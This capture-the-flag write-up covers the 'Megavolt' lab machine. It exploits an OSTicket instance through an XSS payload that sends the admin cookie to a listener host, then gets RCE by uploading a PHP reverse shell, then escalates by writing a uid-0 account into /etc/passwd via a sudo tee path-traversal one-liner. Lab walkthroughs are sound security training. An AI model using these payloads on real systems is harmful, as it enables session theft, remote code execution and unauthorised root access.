> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/proving-grounds-practice/linux/megavolt.md).

# Megavolt

## Gaining Access

Nmap scan:

```
$ nmap -p- --min-rate 3000 -Pn 192.168.183.115
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 13:29 +08
Nmap scan report for 192.168.183.115
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE  SERVICE
22/tcp open   ssh
80/tcp open   http
```

We can start proxying traffic through Burp.

### OSTicket -> XSS Admin Cookie

Port 80 hosted an OSTicket instance, which has a lot of vulnerabilities and exploits:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c803ca2877d86be232db3e6e0740301dad44e618%2Fimage.png?alt=media)

I registered a new user and opened a ticket. When I viewed the status, it seems that an 'Alfred Smith' closes the tickets:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cc2841e150018a58e42ebe9c2e7eb6421749dd05%2Fimage.png?alt=media)

This confirms that a user is indeed viewing the tickets, and we can try to use an XSS exploit for it. The file upload function is vulnerable to an XSS exploit:

{% embed url="<https://www.exploit-db.com/exploits/47224>" %}

We can upload this HTML file to steal the administrator's cookie:

```markup
<script>new Image().src='http://192.168.45.208/?cookie=' + encodeURI(document.cookie);</script>
```

As soon as we upload the file and submit a new ticket, we get this on a listener port:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-149eaf98ed784c6449ebf93c24dcad9a370be6ba%2Fimage.png?alt=media)

Using this cookie, we can then login to OSTicket at `/scp` by changing our cookie within Burp:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-bc8c043da9f79de3142e62f70f517433c00e1f41%2Fimage.png?alt=media)

### OSTicket RCE

Within the settings of the Admin Panel, we can find the version of OSTicket running:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b62da7e40ea713a1c8e3b7d55dad82b4f85b8bcc%2Fimage.png?alt=media)

This version is vulnerable to an RCE exploit. To exploit it, we first need to enable the plugin that stores attachments within the file system of the machine:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8d4caac772a4402bdb693ed4616d7359640641eb%2Fimage.png?alt=media)

Afterwards, in the settings, make sure to change the Attachment settings:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-11b870277aa7ab3777bd6b5e0bb6731e728232fe%2Fimage.png?alt=media)

Then, we need to open a new ticket and upload a PHP reverse shell.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cfbe1dfacac326d4828ae93af574a2184e6cc345%2Fimage.png?alt=media)

View the ticket from the Administrator account:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4a407fd727aa2a6edb160bd281e090d30c621eb8%2Fimage.png?alt=media)

If we click on the attachment, it would generate a GET request to the `file.php` file with a key:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d7475a1c820523c9eea80d031089d93396c7d820%2Fimage.png?alt=media)

This is the URL key, and we need one more key which is the File key. This can be generated by doing the following:

```
$ php -a 
Interactive shell

php > $sha1 = base64_encode(sha1_file('shell.php', true));
php > print(str_replace(array('=','+','/'), array('','-','_'), $sha1));
Y2_qPxdA2XMAeDyyloBdYykx9uE
```

Then, we can finally use this repository's script to trigger the shell:

{% embed url="<https://github.com/Und3r-r00t/osticket-shell>" %}

The exploit took me quite a few times before it worked. If it doesn't work, upload your shell with a different name. In my case, `shell.php` worked.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-00c942b1dc6ea2cdc75577f996346545920cd5fc%2Fimage.png?alt=media)

The script would brute force every possible directory that the PHP shell is in before executing it:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-806ae3864895e5c0d4bcfe6ef5df226acaa2a938%2Fimage.png?alt=media)

## Privilege Escalation

### Sudo Tee + Wildcard -> Root

We can check our `sudo` privileges on the machine:

```
bash-4.2$ sudo -l 
Matching Defaults entries for apache on megavolt:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User apache may run the following commands on megavolt:
    (ALL) NOPASSWD: /usr/bin/tee /var/log/httpd/*
```

Because there's a wildcard there, we can basically run `tee` to write to any file we want. First, generate a new password hash:

```
$ openssl passwd -1 hello123
$1$/l2LqOov$SE/j5UXGMIShXVQVjiEjJ.
```

Then, write this to the `/etc/passwd` file using this one-liner:

```bash
(cat /etc/passwd && echo 'innocent:$1$/l2LqOov$SE/j5UXGMIShXVQVjiEjJ.:0::/root:/bin/sh') | sudo tee /var/log/httpd/../../../../../../etc/passwd
```

This would add our new entry into the `/etc/passwd` file and we can `su` to become `root`:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c89bd92956de7460d284f215d111fcb22e4758dd%2Fimage.png?alt=media)

Rooted!